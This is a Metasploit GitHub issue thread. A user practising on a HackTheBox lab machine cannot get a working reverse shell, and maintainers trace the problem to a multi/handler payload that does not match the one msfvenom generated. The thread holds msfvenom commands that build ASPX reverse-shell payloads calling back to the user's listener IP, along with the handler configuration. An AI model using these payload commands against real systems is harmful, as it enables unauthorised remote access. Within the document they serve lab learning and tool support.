Unable to pop shell potentially msfvenom issue when generating shellcode

[ejluciano]

Steps to reproduce

How'd you do it?

1. I was doing the Devel box on Hackthebox.eu
2. issuing this command

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f aspx > devel.aspx

3. went thru the area where it was uploaded on the file server

Were you following a specific guide/tutorial or reading documentation?

Specific Guide https://www.udemy.com/course/windows-privilege-escalation-for-beginners/learn/lecture/19038590#overview

Expected behavior

What should happen? It should pop up meterpreter or an interactive shell

Current behavior

What happens instead? It stays under command shell session 1 opened

after typing shell it tries to find binary(python), binary(python3),binary(script) and binary(socat) then it says Can not pop up an interactive shell

Metasploit version

Framework Version: 6.0.32-dev-

Additional Information

===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<===

Module/Datastore

The following global/module datastore, and database setup was configured before the issue occurred:

Collapse

``` [framework/core] loglevel=3 [framework/ui/console] ActiveModule=exploit/multi/handler [multi/handler] PAYLOAD=generic/shell_reverse_tcp WORKSPACE= VERBOSE=false WfsDelay=0 EnableContextEncoding=false ContextInformationFile= DisablePayloadHandler=false ExitOnSession=true ListenerTimeout=0 LHOST=10.10.14.4 LPORT=4444 ReverseListenerBindPort= ReverseAllowProxy=false ReverseListenerComm= ReverseListenerBindAddress= ReverseListenerThreaded=false StagerRetryCount=10 StagerRetryWait=5 PLATFORM= ARCH= ```

History

The following commands were ran during the session and before this issue occurred:

Collapse

``` 154 set loglevel 3 155 search multi/handler 156 use 6 157 options 158 set LHOST 10.10.14.4 159 exploit 160 debug ```

Framework Errors

The following framework errors occurred before the issue occurred:

Collapse

``` [02/20/2021 11:59:58] [e(0)] core: Exploit failed (multi/http/gitlab_file_read_rce) - Msf::OptionValidateError One or more options failed to validate: RHOSTS. [02/20/2021 12:00:07] [e(0)] core: Exploit failed (multi/http/gitlab_file_read_rce): Msf::OptionValidateError The following options failed to validate: USERNAME, PASSWORD. - Msf::OptionValidateError The following options failed to validate: USERNAME, PASSWORD. [02/22/2021 01:51:54] [e(0)] core: DB.connect threw an exception - PG::ConnectionBad could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [02/22/2021 01:51:54] [e(0)] core: Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [02/23/2021 12:35:34] [e(0)] core: DB.connect threw an exception - PG::ConnectionBad could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [02/23/2021 12:35:34] [e(0)] core: Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [02/23/2021 12:55:28] [e(0)] core: DB.connect threw an exception - PG::ConnectionBad could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [02/23/2021 12:55:28] [e(0)] core: Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [02/23/2021 13:10:24] [e(0)] core: DB.connect threw an exception - PG::ConnectionBad could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? [02/23/2021 13:10:24] [e(0)] core: Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? ```

Web Service Errors

The following web service errors occurred before the issue occurred:

Collapse

``` msf-ws.log does not exist. ```

Framework Logs

The following framework logs were recorded before the issue occurred:

Collapse

``` [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/bind_tcp_rc4 is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/bind_tcp_uuid with multi/handler]: reverse to bind [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/bind_tcp_uuid with multi/handler]: bind to bind [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/bind_tcp_uuid with multi/handler]: noconn to bind [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/bind_tcp_uuid with multi/handler]: none to bind [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/bind_tcp_uuid with multi/handler]: tunnel to bind [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/bind_tcp_uuid is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_http with multi/handler]: reverse to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_http with multi/handler]: bind to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_http with multi/handler]: noconn to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_http with multi/handler]: none to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_http with multi/handler]: tunnel to tunnel [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/reverse_http is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_https with multi/handler]: reverse to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_https with multi/handler]: bind to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_https with multi/handler]: noconn to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_https with multi/handler]: none to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_https with multi/handler]: tunnel to tunnel [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/reverse_https is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp with multi/handler]: reverse to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp with multi/handler]: bind to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp with multi/handler]: noconn to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp with multi/handler]: none to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp with multi/handler]: tunnel to reverse [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/reverse_tcp is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_rc4 with multi/handler]: reverse to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_rc4 with multi/handler]: bind to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_rc4 with multi/handler]: noconn to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_rc4 with multi/handler]: none to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_rc4 with multi/handler]: tunnel to reverse [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/reverse_tcp_rc4 is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_uuid with multi/handler]: reverse to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_uuid with multi/handler]: bind to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_uuid with multi/handler]: noconn to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_uuid with multi/handler]: none to reverse [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_tcp_uuid with multi/handler]: tunnel to reverse [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/reverse_tcp_uuid is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttp with multi/handler]: reverse to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttp with multi/handler]: bind to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttp with multi/handler]: noconn to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttp with multi/handler]: none to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttp with multi/handler]: tunnel to tunnel [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/reverse_winhttp is compatible with multi/handler [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttps with multi/handler]: reverse to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttps with multi/handler]: bind to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttps with multi/handler]: noconn to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttps with multi/handler]: none to tunnel [02/23/2021 13:11:21] [d(3)] core: Checking compat [windows/x64/vncinject/reverse_winhttps with multi/handler]: tunnel to tunnel [02/23/2021 13:11:21] [d(1)] core: Module windows/x64/vncinject/reverse_winhttps is compatible with multi/handler [02/23/2021 13:11:21] [d(2)] core: Selected payload bsd/sparc/shell_reverse_tcp from generic payload generic/shell_reverse_tcp ```

Web Service Logs

The following web service logs were recorded before the issue occurred:

Collapse

``` msf-ws.log does not exist. ```

Version/Install

The versions and install method of your Metasploit setup:

Collapse

``` Framework: 6.0.32-dev- Ruby: ruby 2.7.1p83 (2020-03-31 revision a0c7c23c9c) [x86_64-linux] Install Root: /opt/metasploit-framework/embedded/framework Session Type: postgresql selected, no connection Install Method: Omnibus Installer ```

[ejluciano]

went back to try this again today

[gwillcox-r7]

Normally if its the command shell like the one you showed earlier you should be able to just interact with it normally. Try typing in a Linux command like id and press the ENTER key and see if that works. Otherwise hit CTRL+Z and it should ask if you want to background the session.

As for upgrading the session, yes that does only work on certain platforms, as noted by the error message that you got. That is specific to upgrading from a normal shell to a Meterpreter shell though, and is unrelated to your original issue from your first post (aka you should still be able to get a normal shell and interact with it even if you can't upgrade the shell to a Meterpreter shell).

[ejluciano]

Thank you for replying I did try typing id, whoami, and getuid every time I do the connection drops

[gwillcox-r7]

Hmm are you sure you have a reliable shell? Check to see if you can still access or ping the target reliably. If not it may not be an issue with Metasploit but rather with your connection. Without further logs though its hard to tell what is going on here, I see logs in the database with errors but they are all related to you not having a PostgreSQL database connection, which is unrelated to the issue at hand here. Can't see anything else that would indicate a failure or network timeout though.

Are you sure that the payload bsd/sparc/shell_reverse_tcp is the right payload for this target though? May also want to double check that and try a different payload to confirm its not just a networking issue.

Anyway thats my thoughts for now, but without further logs I'm not seeing anything that sticks out as being out of place here or which would point to the root cause of this issue beyond networking issues between you and the target or a bad payload choice.

[ejluciano]

yes I was following a guide thru a video and we're doing the same thing also that's not the payload that I was using it was windows/meterpreter/reverse_tcp

typing whoami does this I can't get a shell

[ejluciano]

that's weird though why is it using If I stated metasploit to use windows/meterpreter/reverse_tcp

[timwr]

@ejluciano can you share you entire msfconsole output? The payload you set with set PAYLOAD blah needs to match the payload you generate with msfvenom (msfvenom -p blah).

[bcoles]

that's weird though why is it using bsd

The platform detection isn't 100% accurate; however, there's a larger issue.

also that's not the payload that I was using it was windows/meterpreter/reverse_tcp

You need to ensure that multi/handler is configured to use the same payload type as the payload you're executing. I notice in your screenshot that you're receiving new command shell sessions not meterpreter sessions.

[ejluciano]

I'm gonna run it in a step by step thing

On the web browser

on metasploit

this is on metasploit

why isn't it automated when I already choose the meterpreter upon using msfvenom?

[bcoles]

why isn't it automated when I already choose the meterpreter upon using msfvenom?

msfvenom and msfconsole are not the same thing. You'll need to tell multi/handler which payload you're using. In this instance the payload should be windows/meterpreter/reverse_tcp.

[ejluciano]

Thank you!

[ejluciano]

Sorry but I had to reopen this as I've tried it with my msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.19 LPORT=4444 EXITFUNC=thread -f aspx > manual.aspx

uploaded that file

and tried listening to netcat

and whenever I type something it just dies on me so it might be a msfvenom problem

[bcoles]

Sorry but I had to reopen this

This is unrelated to the original issue. The original issue was also changed several times.

The Metasploit issue tracker is for tracking issues with Metasploit.

If you believe you've encountered a bug please create a new issue, ensuring that the issue template is completed with sufficient information to reproduce the issue.

I notice you've created a new issue #14808. Closing this issue.